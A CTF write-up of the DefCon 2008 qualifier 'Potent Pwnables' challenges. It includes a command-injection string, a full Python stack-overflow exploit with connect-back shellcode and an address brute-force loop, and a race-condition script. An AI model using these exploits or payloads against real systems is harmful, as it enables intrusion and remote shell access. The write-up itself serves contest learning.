Potent Pwnables Walkthrough (DefCon CTF 2008 Qualifiers)
This category and "Real World" are the most like the full DefCon CTF. While the other are related or fun, this really does test a team's ability to get a shell on a running service. Unfortunately Binary Leetness really slowed everyone down, and the last two questions were never opened. (Word has it that 500 was going to kick all your asses.)
100: Love you long time?
For this one, you needed to be logged into the Kenshoto mud. There was another player logged in named "Killa". Through some trial-and-error, it was clear this "service" was tied to the "finger" command:
> tell killa hello
You tell Killa hello.
Killa tells you hello: no such user.
> tell killa root
Killa tells you Login: root                             Name: root
Killa tells you Directory: /                            Shell: /bin/sh
Killa tells you Last login Thu May 26 19:44 (EDT) on tty3
Killa tells you No mail.
Killa tells you No Plan.
One of the most common shell command errors is to not handle meta characters, so we tried that:
> tell killa asdf;ls
Killa tells you asdf: no such user.
Killa tells you killabot.py
Killa tells you key
> tell killa asdf;cat key
Killa tells you asdf: no such user.
Killa tells you CoooOOOoooold blooded
And for a while, the login password for Killa was visible in the script, which caused all kinds of problems while teams kept trying to log in as Killa. (And then later in more advanced stages when teams got shells on the box, the password was visible in "ps" output -- much to Metr0's discomfort.)
200: Smushing the stack for phun and prophet
After spending time identifying main (0x08049010), the init routine (08048B74), and tracking down the child handler (0x08048FB8) pushed to the listener (0x08048CFC) and working out all the arguments to the "read_until" routine (08048A48), we find a 32 byte read into a 24 byte buffer by the handler:
push    0Ah     ; term_char
push    20h     ; bufsize
lea eax, [ebp+buffer]
push    eax     ; buffer (dword ptr -18h)
push    [ebp+fildes]    ; fildes
call    read_until
This appears to be a classic stack overflow, but with not a lot of space for a shell code. While there may have been easier ways to handle this, we opted to re-call the "read_until" function, similar to how Pwnage300 from 2007 was solved: just adjust the stack and call the read again to give you more space. We should probably investigate staged exploits...
For initial testing, we could crash the service with a return address at byte position 28:
perl -e "print "\x90" x 28 . pack("V", 0x41414141) . "\n"' | nc -v -v -v localhost 5641
This would segv at address AAAA, as expected. Now we could examine the register values and the state of the stack:
(gdb) info regs
eax            0x0    0
ecx            0x17 23
edx            0xa  10
ebx            0x1  1
esp            0xbfbfec00   0xbfbfec00
ebp            0x90909090   0x90909090
...
(gdb) x/4x 0xbfbfec00
0xbfbfec00: 0x00000004  0x28075000  0x280d1654  0x08048d3c
For the arguments to read_until, we needed the file descriptor (on the stack still: 4), the target (anywhere useful on the stack), a "max bytes" value large enough to hold our shellcode, and the terminating character (0x0a -- new line -- still in the EDX register). Additionally, since we're right on top of the current ESP, we'll need to move the stack out of the way before doing more work, since it's likely to clobber our opcodes. Each piece was handled in the "recall" opcodes below:
#!/usr//bin/env python
import sys, struct
from socket import *

# stack address target
addr = int(sys.argv[1],16)

# 58                      pop    %eax                  (get filedes)
# bc 00 f0 be bf          mov    $bfbef000,%esp        (move stack)
# 52                      push   %edx                  (push 0xa)
# 6a 7f                   push   byte 0x7f             (push limit)
# ba 00 fe bf bf          mov    $0xbfbffe00,%edx      (set target)
# 52                      push   %edx                  (push target)
# 50                      push   %eax                  (push filedes)
# e8 <calculate>          call   0x8048a48             (call read_until)
# e8 <calculate>          call   0xbfbffe00            (call target)

# limited to 28 bytes for usable opcodes (address must be at 28)
target = 0xbfbfec06
read_until = 0x08048a48
call_read = addr + 20
recall=\
"\x58"+\
"\xbc\x00\xf0\xbe\xbf"+\
"\x52"+\
"\x6a\x7f"+\
"\xba"+struct.pack("<L", target)+\
"\x52"+\
"\x50"+\
"\xe8"+struct.pack("<L", read_until - (call_read+1))+\
"\xe8"+struct.pack("<L", target - (call_read+1+5))
if len(recall)>28:
    print "recall too long\n"
    sys.exit(1)
if '\x0a' in recall:
    print "recall has nl\n"
    sys.exit(1)
recall+="\x90"*(28-len(recall))
recall+=struct.pack("<L", addr)

shell=\
"\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\xff\xff\xff\xff\xcd\x80"+\
"\x68\x10\x02\x27\x0f\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58"+\
"\xcd\x80\x6a\x02\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50"+\
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53"+\
"\xb0\x3b\xcd\x80"

conn = socket(AF_INET, SOCK_STREAM)
conn.connect(("209.195.0.124", 5641))

reply = conn.recv(1024)
if 'Authenticate, bitches' not in reply:
    sys.exit(1)

conn.sendall( "%s\n" % (recall) )
conn.sendall( "%s\n" % (shell) )
Since the stack didn't seem to always be in the same place between our various FreeBSD 6.3 VMs, we just brute-forced it (slowly, one must be nice to the Kenshoto network):
$ for a in f e d c b a 9 8 7 6 5 4 3 2 1 0; do \
    for i in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do \
        ./pwn200.py 0xbfbfe${a}${i}0; echo $a $i; \
        sleep 1; \
  done; done
It seemed to pop around the 0xbfbfeaxx range, when we got a nice connect-back from our shellcode. With our new shell, we just got a file listing, and dumped the key file:
$ nc -l 9991 -v
Connection from 209.195.0.124 port 9999 [tcp/*] accepted
ls
...
key
...
cat key
Sexual chocolate
And then we looked around the box and stole the entire web tree tarball that had accidentally been left world readable for Real World 500. Too bad that never opened...
300: Race ya
This was a Java service. To unpack:
$ jar tfv p300.jar
...
To run:
$ java -jar p300.jar
Which gets you a really interesting web-based login app on port 8001.
After examining this bundle, it turns out that it's an XMLPRC service. We can can get a dump of the methods via "listMethods":
#!/usr/bin/env python
import xmlrpclib
server = xmlrpclib.Server("http://209.195.0.124:8001")
for method in server.system.listMethods():
  print method
From here, we examined each of them:
createUser -- returns FALSE each time
getFlag -- 'You don't hae access to see the flag'
getPriv -- returns '1'
getRealFlag -- gave nasty midget sex pic
getSessionInfo -- when logged in, returns username/privlevel.  WE NEED TO MOD PRIV LEVEL! :)
login -- (user, pass, sessid)
registerSession -- get sessid
registerUser -- create an account
system.listMethods -- this help menu
system.methodHelp -- returned blank string
system.methodSignature -- 'signatures not supported'
welcomeUser -- called after login, but not sure why
Clearly the goal is to call "getFlag" successfully, but we need higher privileges than the default user has.
We noted that during the "registerUser" function, the user's privilege level was elevated repeatedly. We started to suspect we could abuse this race condition:
#!/bin/sh
SESSID=`xmlrpc http://209.195.0.124:8001/ registerSession|grep String | cut -d"'" -f2`
xmlrpc http://209.195.0.124:8001/ registerUser user-$RANDOM pass-$RANDOM $SESSID &
xmlrpc http://209.195.0.124:8001/ getFlag $SESSID
In action:
$ ./racer.sh
...
CowsDoNotLikeFatPeople
400: Nada
Unopened. *sad sigh*
500: Pwnulator 5000!
Unopened! Extreme bummer.

ctf 2008 quals